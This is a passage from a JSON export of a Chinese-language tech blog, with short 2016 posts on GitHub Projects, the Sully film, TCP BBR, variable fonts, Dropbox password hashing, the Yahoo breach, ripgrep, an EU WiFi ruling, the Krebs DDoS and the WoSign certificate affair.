    "body": "<a href=\"https://github.com/\">GitHub</a> 上個禮拜推出了不少功能出來：「<a href=\"https://github.com/blog/2256-a-whole-new-github-universe-announcing-new-tools-forums-and-features\">A whole new GitHub Universe: announcing new tools, forums, and features</a>」。\r\n\r\n功能多了不少，但比較亮眼的主要是 Project 的功能，界面上有點像 <a href=\"https://trello.com/\">Trello</a>：\r\n\r\n<img src=\"https://i.gslin.com/imgur/EuJZLDp.gif\" alt=\"\" />\r\n\r\n操作上也可以看到，一個 repository 可以開很多 project，然後在裡面移來移去：\r\n\r\n<blockquote>With Projects, you can manage work directly from your GitHub repositories. Create cards from Pull Requests, Issues or Notes and organize them into custom columns, whether it’s \"In-progress\", \"Done\", \"Never going to happen\" or any other framework your team uses. Drag and drop the cards inside a column to prioritize them or move them from one column to another as your work progresses.</blockquote>\r\n\r\n唔... 這樣好用不少 :o",
    "title": "GitHub 又多了許多功能..."
  },
  {
    "id": "6852",
    "body": "《<a href=\"https://zh.wikipedia.org/wiki/%E8%96%A9%E5%88%A9%E6%A9%9F%E9%95%B7%EF%BC%9A%E5%93%88%E5%BE%B7%E9%81%9C%E5%A5%87%E8%B9%9F\">薩利機長：哈德遜奇蹟</a>》講的是「<a href=\"https://zh.wikipedia.org/wiki/%E5%85%A8%E7%BE%8E%E8%88%AA%E7%A9%BA1549%E8%99%9F%E7%8F%AD%E6%A9%9F%E4%BA%8B%E6%95%85\">全美航空1549號班機事故</a>」，有不少資料可以先看過再去看電影。(這部片要整個劇透透光後，去電影院刷個兩次會特別有感覺)\r\n\r\n特別推薦看 IMAX 版，螢幕大感覺就是不一樣... 另外結尾的彩蛋有兩則，請不要看完第一則就跑掉了。(話說回來，上上星期五去長春國賓看的時候居然沒看到第二則就被工作人員告知已經結束，不知道是怎麼一回事...)\r\n\r\n首先是維基百科的資料 (當作入口點)：\r\n\r\n<ul>\r\n\t<li><a href=\"https://zh.wikipedia.org/wiki/%E5%85%A8%E7%BE%8E%E8%88%AA%E7%A9%BA1549%E8%99%9F%E7%8F%AD%E6%A9%9F%E4%BA%8B%E6%95%85\">全美航空1549號班機事故</a></li>\r\n\t<li><a href=\"https://en.wikipedia.org/wiki/US_Airways_Flight_1549\">US Airways Flight 1549</a></li>\r\n</ul>\r\n\r\n中文版會容易看一些，不過英文版的資料比較豐富。\r\n\r\n另外維基百科上面也有人從 <a href=\"https://www.faa.gov/\">FAA</a> 所公開的資料中截出 <a href=\"https://en.wikipedia.org/wiki/New_York_TRACON\">New York TRACON</a> 的錄音抓出對應的部份，並且將對話過程抄寫出來：「<a href=\"https://en.wikipedia.org/wiki/File:Flight_1549_FAA_New_York_TRACON_audio_extract.ogg\">File:Flight 1549 FAA New York TRACON audio extract.ogg</a>」，電影的確照實將這些對話演出來：\r\n\r\n<audio controls src=\"https://blog.gslin.org/wp-content/uploads/2016/09/Flight_1549_FAA_New_York_TRACON_audio_extract.ogg\" />\r\n\r\n在「<a href=\"https://www.youtube.com/watch?v=tE_5eiYn0D0\">Flight 1549 3D Reconstruction, Hudson River Ditching Jan 15, 2009</a>」這邊依照公開的錄音 (從在機場起飛開始) 以及所有公開的對話記錄 (黑盒子的記錄)，配上模擬機上的畫面，也可以看一看：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/tE_5eiYn0D0\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n包括機長對著哈德遜河樹旗的「uh what a view of the Hudson today」... 然後是另外一個角度，混入 <a href=\"https://en.wikipedia.org/wiki/LaGuardia_Airport\">LGA</a> 的錄音記錄以及雷達記錄：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/gjXCulRjPas\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n再來是在電影裡面提到的 35 秒延遲實驗，這可以在 <a href=\"http://www.ntsb.gov/\">NTSB</a> 的官方報告裡面看到對應的說明 (取自「<a href=\"http://www.ntsb.gov/investigations/AccidentReports/Reports/AAR1003.pdf\">Loss of Thrust in Both Engines After Encountering a Flock of Birds and Subsequent Ditching on the Hudson River - US Airways Flight 1549 - Airbus A320‐214, N106US - Weehawken, New Jersey - January 15, 2009</a>」這份 PDF)：\r\n\r\n<blockquote>Regarding the second flight scenario, 20 runs were performed in the engineering simulator from a preprogrammed point shortly before the loss of engine thrust in which pilots attempted to return to either runway 13 or 22 at LGA or runway 19 at TEB. Five of the 20 runs were discarded because of poor data or simulator malfunctions. Of the 15 remaining runs, in 6, the pilot attempted to land on runway 22 at LGA; in 7, the pilot attempted to land on runway 13 at LGA; and in 2, the pilot attempted to land on runway 19 at TEB. In eight of the 15 runs (53 percent), the pilot successfully landed after making an immediate turn to an airport after the loss of engine thrust. Specifically, two of the six runs to land on runway 22 at LGA, five of the seven runs to land on runway 13 at LGA, and one of the two runs to land on runway 19 at TEB immediately after the loss of engine thrust were successful. One run was made to return to an airport (runway 13 at LGA) after a 35-second delay, and the landing was not successful.</blockquote>\r\n\r\n也就是做了 20 次的模擬，而有效的模擬有 15 次，其中 8 次成功降落回機場 (成功次數分別是 <a href=\"https://en.wikipedia.org/wiki/LaGuardia_Airport\">LGA</a> 22 跑道 2/6、LGA 13 跑道 5/7，以及 <a href=\"https://en.wikipedia.org/wiki/Teterboro_Airport\">TEB</a> 19 跑道 1/2)，這些都是鳥擊後馬上選擇回機場迫降。\r\n\r\n而加上 35 秒的反應時間後的 LGA 13 跑道則做了一次，那次降落則是不成功。\r\n\r\n在 NTSB 報告上，加上 35 秒後的測試只有一次有點怪，但電影裡機長 Sully 臨時要求把「人性」加進去的劇情剛好符合這個解釋。所以有可能就如同電影所演出的，是現場追加的測試？\r\n\r\n最後，有幾部記錄片則是透過不同的角度來看這次事故，都很值得看：\r\n\r\n<ul>\r\n\t<li>TLC，特別節目，Brace For Impact。</li>\r\n\t<li>空中浩劫，第十季第五集，Hudson River Runway。</li>\r\n\t<li>國家地理頻道，特別節目，Miracle Landing On The Hudson。</li>\r\n</ul>\r\n\r\n這些在網路上找一下都有，這邊就不提供連結了。",
    "title": "關於 Sully (薩利機長：哈德遜奇蹟) 的資料"
  },
  {
    "id": "6856",
    "body": "<a href=\"https://www.google.com/\">Google</a> 針對 TCP 的 congestion control 研究出了新的方法，是個純 sender-side 的演匴法，可以讓現有的 internet 直接換上去使用：「<a href=\"https://patchwork.ozlabs.org/patch/671069/\">[net-next,14/14] tcp_bbr: add BBR congestion control</a>」。\r\n\r\n在 long-lived TCP connection 愈來愈普及後 (像是 HTTP/2)，TCP 連線的最佳化可以用統計模型來計算，這也就是 BBR 的想法：\r\n\r\n<blockquote>In a nutshell, BBR creates an explicit model of the network pipe by sequentially probing the bottleneck bandwidth and RTT. On the arrival of each ACK, BBR derives the current delivery rate of the last round trip, and feeds it through a windowed max-filter to estimate the bottleneck bandwidth. Conversely it uses a windowed min-filter to estimate the round trip propagation delay. The max-filtered bandwidth and min-filtered RTT estimates form BBR's model of the network pipe.</blockquote>\r\n\r\n不過 <a href=\"https://en.wikipedia.org/wiki/QUIC\">QUIC</a> 不是也開始有進展了嗎？(參考「<a href=\"https://blog.gslin.org/archives/2016/08/02/6700/google-chrome-52-%E9%A0%90%E8%A8%AD%E9%96%8B%E5%95%9F%E4%BA%86%E6%9B%B4%E5%BF%AB%E7%9A%84-quic-%E8%A2%AB%E6%88%B2%E7%A8%B1%E7%82%BA-tcp2/\">Google Chrome 52 預設開啟了更快的 QUIC (被戲稱為 TCP/2)</a>」這篇)\r\n\r\n感覺 QUIC 解決的比較徹底，不過 443/udp 的 firewall 問題的確也是個需要時間解決的課題...",
    "title": "Google 研發出的 BBR: Congestion-Based Congestion Control"
  },
  {
    "id": "6857",
    "body": "<a href=\"https://www.adobe.com/\">Adobe</a>、<a href=\"https://www.apple.com/\">Apple</a>、<a href=\"https://www.google.com/\">Google</a>，以及 <a href=\"https://www.microsoft.com/\">Microsoft</a> 聯手推出新的 OpenType 規格，讓字型變得更小：(沒有找到 Apple 的新聞稿...)\r\n\r\n<ul>\r\n\t<li><a href=\"http://blog.typekit.com/2016/09/14/variable-fonts-a-new-kind-of-font-for-flexible-design/\">Variable fonts, a new kind of font for flexible design</a> (Adobe)</li>\r\n\t<li><a href=\"https://opensource.googleblog.com/2016/09/introducing-opentype-font-variations.html\">Introducing OpenType Font Variations</a> (Google)</li>\r\n\t<li><a href=\"https://www.microsoft.com/en-us/Typography/FontVariationsAnnouncement.aspx\">Introducing OpenType Font Variations</a> (Microsoft)</li>\r\n</ul>\r\n\r\nGoogle 給了兩個範例：\r\n\r\n<img src=\"https://i.gslin.com/imgur/5FQ3e1f.gif\" alt=\"\" /> <img src=\"https://i.gslin.com/imgur/U9FrU8h.gif\" alt=\"\" />\r\n\r\nAdobe 也給了範例：\r\n\r\n<img src=\"https://i.gslin.com/imgur/YA92qjl.gif\" alt=\"\" />\r\n\r\n藉由額外的定義來描述字的各種變化，而不是直接設計多個字型塞進檔案裡。這樣可以減少字型的大小。",
    "title": "OpenType Font Variations"
  },
  {
    "id": "6858",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://www.linode.com/\">Linode</a> 在處理東京機房的照片 (應該是還在美國？)：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Getting ready for our Tokyo trip. <a href=\"https://t.co/N3g7lqCscE\">pic.twitter.com/N3g7lqCscE</a></p>&mdash; Linode (@linode) <a href=\"https://twitter.com/linode/status/778318049401303044\">September 20, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這樣年底應該有機會看到了？",
    "title": "Linode 東京機房擴充的工作..."
  },
  {
    "id": "6859",
    "body": "有人在 <a href=\"https://www.reddit.com/\">Reddit</a> 上抱怨買了一台 <a href=\"https://www.lenovo.com/\">Lenovo</a> 的機器卻不能裝 <a href=\"https://www.linux.com/\">Linux</a>，因為會抓不到硬碟：「<a href=\"https://www.reddit.com/r/linux/comments/53ri0m/warning_microsoft_signature_pc_program_now/\">Warning: Microsoft Signature PC program now requires that you can't run Linux. Lenovo's recent Ultrabooks among affected systems.</a>」，官方回覆是：\r\n\r\n<blockquote>This system has a Signature Edition of Windows 10 Home installed. It is locked per our agreement with Microsoft.</blockquote>\r\n\r\n取自這邊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/B7gMpFL.webp\" /><img src=\"https://i.gslin.com/imgur/B7gMpFL.jpg\" alt=\"\" /></picture>\r\n\r\n喔耶...",
    "title": "Lenovo 開始出 Microsoft-only 機了，其他的 OS 都會被鎖住不能用"
  },
  {
    "id": "6860",
    "body": "<a href=\"https://www.ing.ro/\">ING Bank</a> 在羅馬尼亞的機房發生資料損毀：「<a href=\"https://motherboard.vice.com/read/a-loud-sound-just-shut-down-a-banks-data-center-for-10-hours\">A Loud Sound Just Shut Down a Bank's Data Center for 10 Hours</a>」。\r\n\r\n不過原因是因為火災測試時噴發的音量太大，導致硬碟故障 XDDD\r\n\r\n<blockquote>ING Bank’s main data center in Bucharest, Romania, was severely damaged over the weekend during a fire extinguishing test. In what is a very rare but known phenomenon, it was the loud sound of inert gas being released that destroyed dozens of hard drives. The site is currently offline and the bank relies solely on its backup data center, located within a couple of miles’ proximity.</blockquote>\r\n\r\n報導給了個測試影片，示範超大的音量會對硬碟有什麼影響：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/tDacjrSCeq4\" frameborder=\"0\" allowfullscreen></iframe>",
    "title": "ING Bank 在羅馬尼亞的機房出事..."
  },
  {
    "id": "6861",
    "body": "記得 <a href=\"https://www.dropbox.com/\">Dropbox</a> 前陣子才強迫所有使用者重設密碼：「<a href=\"https://www.troyhunt.com/the-dropbox-hack-is-real/\">The Dropbox hack is real</a>」，官方的報告在這：「<a href=\"https://blogs.dropbox.com/dropbox/2016/08/resetting-passwords-to-keep-your-files-safe/\">Resetting passwords to keep your files safe</a>」，當時洩漏出來的資訊可以知道 2012 年的時候 Dropbox 用的是 SHA1：\r\n\r\n<blockquote>What we've got here is two files with email address and bcrypt hashes then another two with email addresses and SHA1 hashes.</blockquote>\r\n\r\n三個多禮拜候，Dropbox 說明了現在的密碼儲存策略：「<a href=\"https://blogs.dropbox.com/tech/2016/09/how-dropbox-securely-stores-your-passwords/\">How Dropbox securely stores your passwords</a>」，現在是先 SHA512，再 bcrypt，然後存在資料庫裡時使用 AES256 保護：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JAiIcji.webp\" /><img src=\"https://i.gslin.com/imgur/JAiIcji.jpg\" alt=\"\" /></picture>\r\n\r\n比較特別一點的是先 SHA512 的部份，除了 72bytes 常見限制外，另外一個原因是為了避免 DoS，不過還是覺得有點怪就是了：\r\n\r\n<blockquote>Other implementations don’t truncate the input and are therefore vulnerable to DoS attacks because they allow the input of arbitrarily long passwords.</blockquote>\r\n\r\n而 AES256 的部份則是確保就算 SQL injection 或是其他方式將儲存的密碼撈出去後，也還有相當程度的保護能力。",
    "title": "Dropbox 儲存密碼的方式"
  },
  {
    "id": "6863",
    "body": "在 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 上針對讀取檔案到 GPU 上的成果：「<a href=\"http://kaigai.hatenablog.com/entry/2016/09/05/231655\">GpuScan + SSD-to-GPU Direct DMA</a>」(日文版)、「<a href=\"http://kaigai.hatenablog.com/entry/2016/09/08/003556\">(EN) GpuScan + SSD-to-GPU Direct DMA</a>」(英文版)。\r\n\r\n主要的原因在於雖然已經有 <a href=\"https://wiki.postgresql.org/wiki/PGStrom\">PGStorm</a> 讓 PostgreSQL 把運算丟到 GPU 上加速，但從 disk 讀到 GPU 這段還是有改善的空間：\r\n\r\n<blockquote>PG-Strom that is an extension of PostgreSQL to off-load multiple SQL workloads on GPU devices, transparently. It has been developed for four years, and now supports simple scan, tables join, aggregation and projection.\r\nIts prime focus is CPU intensive workloads, on the other hands, it didn't touch storage subsystem of PostgreSQL because the earlier version of PG-Strom assumes all the data set shall be pre-loaded onto physical memory. No need to say, we had a problem when we want to process a data-set larger than physical RAM.</blockquote>\r\n\r\n這是成果，可以看到速度快了一倍以上：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EE8WxnZ.webp\" /><img src=\"https://i.gslin.com/imgur/EE8WxnZ.jpg\" alt=\"\" /></picture>\r\n\r\n這對資料量超過 RAM 大小時的處理會非常有幫助 (因為會有大量的 disk i/o 發生)。",
    "title": "PostgreSQL 上，直接將 SSD 的內容送到 GPU 上，加速讀取速度"
  },
  {
    "id": "6864",
    "body": "<a href=\"https://allo.google.com/\">Google Allo</a> 減弱了本來的安全設計：「<a href=\"http://www.theverge.com/2016/9/21/12994362/allo-privacy-message-logs-google\">Google backs off on previously announced Allo privacy feature</a>」。\r\n\r\n藉由修改預設行為減弱：\r\n\r\n<blockquote>The version of Allo rolling out today will store all non-incognito messages by default — a clear change from Google’s earlier statements that the app would only store messages transiently and in non-identifiable form.</blockquote>\r\n\r\n本來的預設值不會記錄身份，現在會了。而 <a href=\"http://www.theverge.com/\">The Verge</a> 的猜設是這樣可以減少其他類似的情況，藉以討好政府：\r\n\r\n<blockquote>That leaves Google with much less danger of the kind of legal showdown Apple faced in San Bernardino and WhatsApp currently faces in Brazil.</blockquote>",
    "title": "Google Allo 減弱本來的安全設計"
  },
  {
    "id": "6865",
    "body": "平常一直被大量使用的工具就會有人一直花時間改善，這次是 <a href=\"https://en.wikipedia.org/wiki/Grep\">grep</a> 系列的工具：「<a href=\"http://blog.burntsushi.net/ripgrep/\">ripgrep is faster than {grep, ag, git grep, ucg, pt, sift}</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LJpwOdn.webp\" /><img src=\"https://i.gslin.com/imgur/LJpwOdn.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://github.com/BurntSushi/ripgrep\">ripgrep</a> 是用 <a href=\"https://www.rust-lang.org/\">Rust</a> 寫的強化版 grep 工具，也就是類似於 <a href=\"https://github.com/ggreer/the_silver_searcher\">ag</a> 或是 <a href=\"http://beyondgrep.com/\">ack</a> 的工具，但想辦法讓執行的速度更快，盡可能接近於原始 grep 的速度。",
    "title": "用 Rust 寫的 ripgrep"
  },
  {
    "id": "6866",
    "body": "在「<a href=\"https://www.servethehome.com/firefox-is-eating-your-ssd-here-is-how-to-fix-it/\">Firefox is eating your SSD - here is how to fix it</a>」這邊講到 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 寫入對 SSD 的影響，先引用文章裡的解法：\r\n\r\n<blockquote>After some digging, I found out that this behavior is controlled by a parameter that you can access through typing “about:config” in the address bar. This parameter is called: —<strong>browser.sessionstore.interval</strong></blockquote>\r\n\r\n預設是 15 秒一次，作者改成 30 分鐘一次，因此下降了大約 5 倍 (應該可以解讀成 1/6？)：\r\n\r\n<blockquote>It is set to 15 seconds by default. In my case, I reset it to a more sane (at least for me) 30 minutes. Since then, I’m only seeing about 2GB written to disk when my workstation is left idle, which still feels like a lot but is 5 times less than before.</blockquote>\r\n\r\n據文章後面的 update 說明，<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 也有類似的情況，不過暫時沒給解法...",
    "title": "Firefox 的大量寫入對 SSD 的影響"
  },
  {
    "id": "6867",
    "body": "歐盟法院 (The Court of Justice of the European Union) 認為公開無線網路的營運者不需要對使用者的侵權行為負責：「<a href=\"https://torrentfreak.com/eu-court-open-wifi-operator-not-liable-for-pirate-users-160916/\">EU Court: Open WiFi Operator Not Liable For Pirate Users</a>」。\r\n\r\n不過這是有一些前提的，法院認為應該要符合這幾個要件，營運方才不要負責。基本上完全沒有 filter 限制的無線網路會符合這些條件：\r\n\r\n<blockquote>The Court further notes that in order for such ‘mere conduit’ services to be exempt from third party liability, three cumulative conditions must be met:\r\n\r\n– The provider must not have initiated the transmission\r\n– It must not have selected the recipient of the transmission\r\n– It must neither have selected nor modified the information contained in the transmission.</blockquote>\r\n\r\n帶這並不代表丟著不管，而是在發生後要求改善：\r\n\r\n<blockquote>In an effort to strike a balance between protecting a service provider from third party liability and the rights of IP owners, the Court ruled that providers can be required to end infringement.\r\n\r\n“[T]he directive does not preclude the copyright holder from seeking before a national authority or court to have such a service provider ordered to end, or prevent, any infringement of copyright committed by its customers,” the Court found.\r\n\r\nOne such measure could include the obtaining of an injunction which would force an operator to password-protect his open WiFi network in order to deter infringement.</blockquote>\r\n\r\n但法院並不同意直接監控：\r\n\r\n<blockquote>On a more positive note, the Court rejected the notion of monitoring networks for infringement or taking more aggressive actions where unnecessary.\r\n\r\n“[T]he directive expressly rules out the adoption of a measure to monitor information transmitted via a given network. Similarly, a measure consisting in terminating the internet connection completely without considering the adoption of measures less restrictive of the connection provider’s freedom to conduct a business would not be capable of reconciling the abovementioned conflicting rights,” the Court concludes.</blockquote>\r\n\r\n網路對現在的言論自由非常重要，所以只有在確認侵犯他人權益的情況下才採取必要措施，歐盟法院這樣判大概是覺得這樣吧...",
    "title": "歐盟法院認為公開無線網路的營運者不需要對使用者的侵權行為負責"
  },
  {
    "id": "6868",
    "body": "<a href=\"https://www.yahoo.com/\">Yahoo!</a> 這次爆出來的 leak 應該是目前史上最大的一次：「<a href=\"https://yahoo.tumblr.com/post/150781911849/an-important-message-about-yahoo-user-security\">An Important Message About Yahoo User Security</a>」。\r\n\r\n目前 Yahoo! 的研判是 2014 年時由政府單位搬出去的：\r\n\r\n<blockquote>A recent investigation by Yahoo has confirmed that a copy of certain user account information was stolen from the company’s network in late 2014 by what it believes is a state-sponsored actor.</blockquote>\r\n\r\n這包括了密碼的部份 (受過不同程度的 hash 保護)：\r\n\r\n<blockquote>The account information may have included names, email addresses, telephone numbers, dates of birth, hashed passwords (the vast majority with bcrypt) and, in some cases, encrypted or unencrypted security questions and answers.</blockquote>\r\n\r\n照這樣的用詞，猜測是登入時一直將舊的密碼換掉... 類似於 <code>$2a$</code> 這樣可以知道編碼方式的機制。\r\n\r\n這次洩漏的資料大約有五億筆：\r\n\r\n<blockquote>Based on the ongoing investigation, Yahoo believes that information associated with at least 500 million user accounts was stolen and the investigation has found no evidence that the state-sponsored actor is currently in Yahoo’s network. Yahoo is working closely with law enforcement on this matter.</blockquote>\r\n\r\n依照目前在「<a href=\"https://haveibeenpwned.com/\">Have I been pwned? Check if your email has been compromised in a data breach</a>」上的資料，最大的應該是 MySpace 的 3.5 億筆，看起來這次會刷記錄...",
    "title": "Yahoo! 這次應該是史上最大的一次 leak..."
  },
  {
    "id": "6869",
    "body": "在<a href=\"https://www.theguardian.com/\">英國衛報</a>與<a href=\"https://www.washingtonpost.com/\">華盛頓郵報</a>因報導 <a href=\"https://en.wikipedia.org/wiki/Edward_Snowden\">Snowden</a> 事件而拿到 2014 年的<a href=\"http://www.pulitzer.org/\">普立茲獎</a>後，華盛頓郵報正式公開立場，表達應該將 Snowden 弄回美國受審，而非現在大家在呼籲的特赦：「<a href=\"https://theintercept.com/2016/09/18/washpost-makes-history-first-paper-to-call-for-prosecution-of-its-own-source-after-accepting-pulitzer/\">WashPost Makes History: First Paper to Call for Prosecution of Its Own Source (After Accepting Pulitzer)</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4fLGGBb.webp\" /><img src=\"https://i.gslin.com/imgur/4fLGGBb.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>In doing so, the Washington Post has achieved an ignominious feat in U.S. media history: the first-ever paper to explicitly editorialize for the criminal prosecution of its own source — one on whose back the paper won and eagerly accepted a Pulitzer Prize for Public Service. But even more staggering than this act of journalistic treachery against the paper’s own source are the claims made to justify it.</blockquote>\r\n\r\n華盛頓郵報的說法更是無恥：\r\n\r\n<blockquote>The complication is that Mr. Snowden did more than that. He also pilfered, and leaked, information about a separate overseas NSA Internet-monitoring program, PRISM, that was both clearly legal and not clearly threatening to privacy. (It was also not permanent; the law authorizing it expires next year.)</blockquote>\r\n\r\n這從來就不是合法的問題，而是侵犯人權的問題，合法的事情在事後甚至被制定憲法修正案而推翻的事情多的是。美國的女性在 1920 年才擁有投票權 (透過「<a href=\"https://zh.wikipedia.org/wiki/%E7%BE%8E%E5%9C%8B%E6%86%B2%E6%B3%95%E7%AC%AC%E5%8D%81%E4%B9%9D%E4%BF%AE%E6%AD%A3%E6%A1%88\">美國憲法第十九修正案</a>」)。\r\n\r\n第四權必須發揮應有的能力去推動政府往正確的方向前進。在拿到普立茲獎後以「合法」的角度來論述淪落為政府打手，墮落至此...",
    "title": "華盛頓郵報的歷史創舉：呼籲對告密者的求刑"
  },
  {
    "id": "6870",
    "body": "這個產品就如同標題所說的方式而已，做起來不難，只是一直沒人做就是了：「<a href=\"https://blog.cloudflare.com/how-we-brought-https-everywhere-to-the-cloud-part-1/\">How we brought HTTPS Everywhere to the cloud (part 1)</a>」。\r\n\r\n傳統的作法是直接硬幹下去換掉，或是用 header 讓瀏覽器主動轉過去：\r\n\r\n<blockquote>A naive way to do this would be to just rewrite <code>http://</code> links to <code>https://</code> or let browsers do that with <code>Upgrade-Insecure-Requests</code> directive.</blockquote>\r\n\r\n但這有必須有兩個假設成立才可以：\r\n\r\n<ul>\r\n\t<li>Each single HTTP sub-resource is also available via HTTPS.</li>\r\n\t<li>It's available at the exact same domain and path after protocol upgrade (more often than you might think that's not the case).</li>\r\n</ul>\r\n\r\n而 HTTPS Everywhere 則是用人力確認了哪些網站可以這樣玩。<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 利用這份清單改寫程式碼裡面的 HTTP 連結，僅可能將 HTTP 資源換成 HTTPS。算是還不錯的方式...\r\n\r\n之後有可能再推出對 HTTP images 與 HTTP assets 的 proxy cache？",
    "title": "CloudFlare 把 HTTPS Everywhere 的清單拿到 CDN 上用所推出的產品..."
  },
  {
    "id": "6872",
    "body": "看到 <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 這個公告，在同一個地區增加到五個點：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/09/announcing-two-new-edge-locations-in-frankfurt-germany-for-amazon-cloudfront/\">Announcing Two New Edge Locations in Frankfurt, Germany for Amazon CloudFront</a>」。\r\n\r\n隔壁的法國則是分散到兩個地區：\r\n\r\n<blockquote>Marseille, France\r\nParis, France (2)</blockquote>\r\n\r\n日本也類似：\r\n\r\n<blockquote>Osaka, Japan\r\nTokyo, Japan (2)</blockquote>\r\n\r\n其他地區最多都三個點，第一次看到變五個點的：\r\n\r\n<blockquote>Frankfurt, Germany (5)</blockquote>\r\n\r\n沒考慮柏林或是漢堡嗎...",
    "title": "Amazon CloudFront 在德國法蘭克福的 Edge 數量增加到五個..."
  },
  {
    "id": "6874",
    "body": "看到「<a href=\"https://github.com/ajbrock/Neural-Photo-Editor\">A simple interface for editing natural photos with generative neural networks.</a>」這個工具，直接看這個兩分鐘的影片比較清楚知道他想要做的事情：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/FDELBFSeqQs\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n當你修正了某一個點後，這個工具就透過演算法改變其他的點，讓照片看起來變得自然... 作者所發表的論文可以在「<a href=\"https://arxiv.org/abs/1609.07093\">Neural Photo Editing with Introspective Adversarial Networks</a>」這邊下載到。",
    "title": "透過演算法修照片的工具"
  },
  {
    "id": "6875",
    "body": "這應該是最近在看 DDoS 事件中比較重要的新聞了，從這次的事件知道 <a href=\"https://www.akamai.com/\">Akamai</a> 沒有能力擋下某種 620Gbps 以上的 DDoS 攻擊，而這是攻擊者已經有能力「示範」出來的量：「<a href=\"http://www.businessinsider.com/akamai-brian-krebs-ddos-attack-2016-9\">Akamai kicked journalist Brian Krebs' site off its servers after he was hit by a 'record' cyberattack</a>」。\r\n\r\n<blockquote>The assault has flooded Krebs' site with more than 620 gigabits per second of traffic — nearly double what Akamai has seen in the past.</blockquote>\r\n\r\n然後現在 <a href=\"https://krebsonsecurity.com/\">Krebs on Security</a> 的整個站台都轉移到 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://projectshield.withgoogle.com/\">Project Shield</a> 計畫上了，接下來就是時間的考驗了：「<a href=\"https://krebsonsecurity.com/2016/09/the-democratization-of-censorship/\">The Democratization of Censorship</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VybUAWT.webp\" /><img src=\"https://i.gslin.com/imgur/VybUAWT.jpg\" alt=\"\" /></picture>",
    "title": "Akamai 阻擋 DDoS 能力的上限"
  },
  {
    "id": "6876",
    "body": "在「<a href=\"https://medium.com/vanmoof/our-secrets-out-f21c1f03fdc8\">Our secret’s out.</a>」這邊看到 <a href=\"https://www.vanmoof.com/\">VanMoof</a> (腳踏車生意) 對於托運公司每次都把腳踏車給弄壞的解決方法 XDDD\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">genius idea alert: <a href=\"https://twitter.com/VanMoof\">@vanmoof</a> bikes had problem with shipping damage. So it put flat TVs on its boxes. Problem solved. <a href=\"https://t.co/dsomNATUoY\">pic.twitter.com/dsomNATUoY</a></p>&mdash; Jason Gay (@jasongay) <a href=\"https://twitter.com/jasongay/status/772556605548326912\">September 4, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n因為包裝很像平板螢幕，就掛個平板螢幕的圖片上去，然後運送的損壞率就下降 70%～80%：\r\n\r\n<blockquote>Earlier this year our co-founder Ties had a flash of genius. Our boxes are about the same size as a (really really reaaaally massive) flatscreen television. Flatscreen televisions always arrive in perfect condition. What if we just printed a flatscreen television on the side of our boxes?\r\n\r\n<strong>And just like that, shipping damage to our bikes dropped by 70–80%.</strong></blockquote>\r\n\r\n然後文末偷偷爆破了是哪家負責運送 XDDD\r\n\r\n<blockquote>We were hoping to keep this small tweak quiet, but thanks to Twitter, the secret’s out.\r\n\r\nJust don’t tell FedEx.</blockquote>",
    "title": "貨運公司每次都把腳踏車弄壞..."
  },
  {
    "id": "6877",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2016/08/27/6781/mozilla-%E5%9C%A8%E8%80%83%E6%85%AE%E7%A7%BB%E9%99%A4-wosign-%E7%9A%84-ca-root/\">Mozilla 在考慮移除 WoSign 的 CA Root</a>」這邊提到的事情，隨著時間的發展，大家發現事情愈來愈誇張。\r\n\r\n在兩個小時前 <a href=\"https://www.mozilla.org/\">Mozilla</a> 的 <a href=\"https://en.wikipedia.org/wiki/Gervase_Markham_(programmer)\">Gervase Markham</a> 提出了對 <a href=\"https://www.wosign.com/\">WoSign</a> + <a href=\"https://www.startcom.org/\">StartCom</a> 處置的草稿：「<a href=\"https://groups.google.com/forum/#!topic/mozilla.dev.security.policy/NAH6NVf3JPI\">WoSign and StartCom</a>」，草稿在 <a href=\"https://docs.google.com/\">Google Docs</a> 上的「<a href=\"https://docs.google.com/document/d/1C6BlmbeQfn4a9zydVi2UvjBGv6szuSB4sMYUcVrR8vQ/preview\">WoSign and StartCom</a>」這邊可以看到。另外 Mozilla 在 wiki 上「<a href=\"https://wiki.mozilla.org/CA:WoSign_Issues\">CA:WoSign Issues</a>」將 WoSign + StartCom 的事情都整理了出來，也是重要的資料。\r\n\r\n<strong style=\"color: red;\">文章很長，先講結論：目前 Mozilla 打算把 WoSign 與 StartCom 所簽出的 certificate 都照當年 <a href=\"https://www.cnnic.net.cn/\">CNNIC</a> 的方式拔掉。</strong>\r\n\r\n從頭說明，事情發生於八月底的時候 <a href=\"https://www.google.com/\">Google</a> 通知了 Mozilla 一連串 WoSign 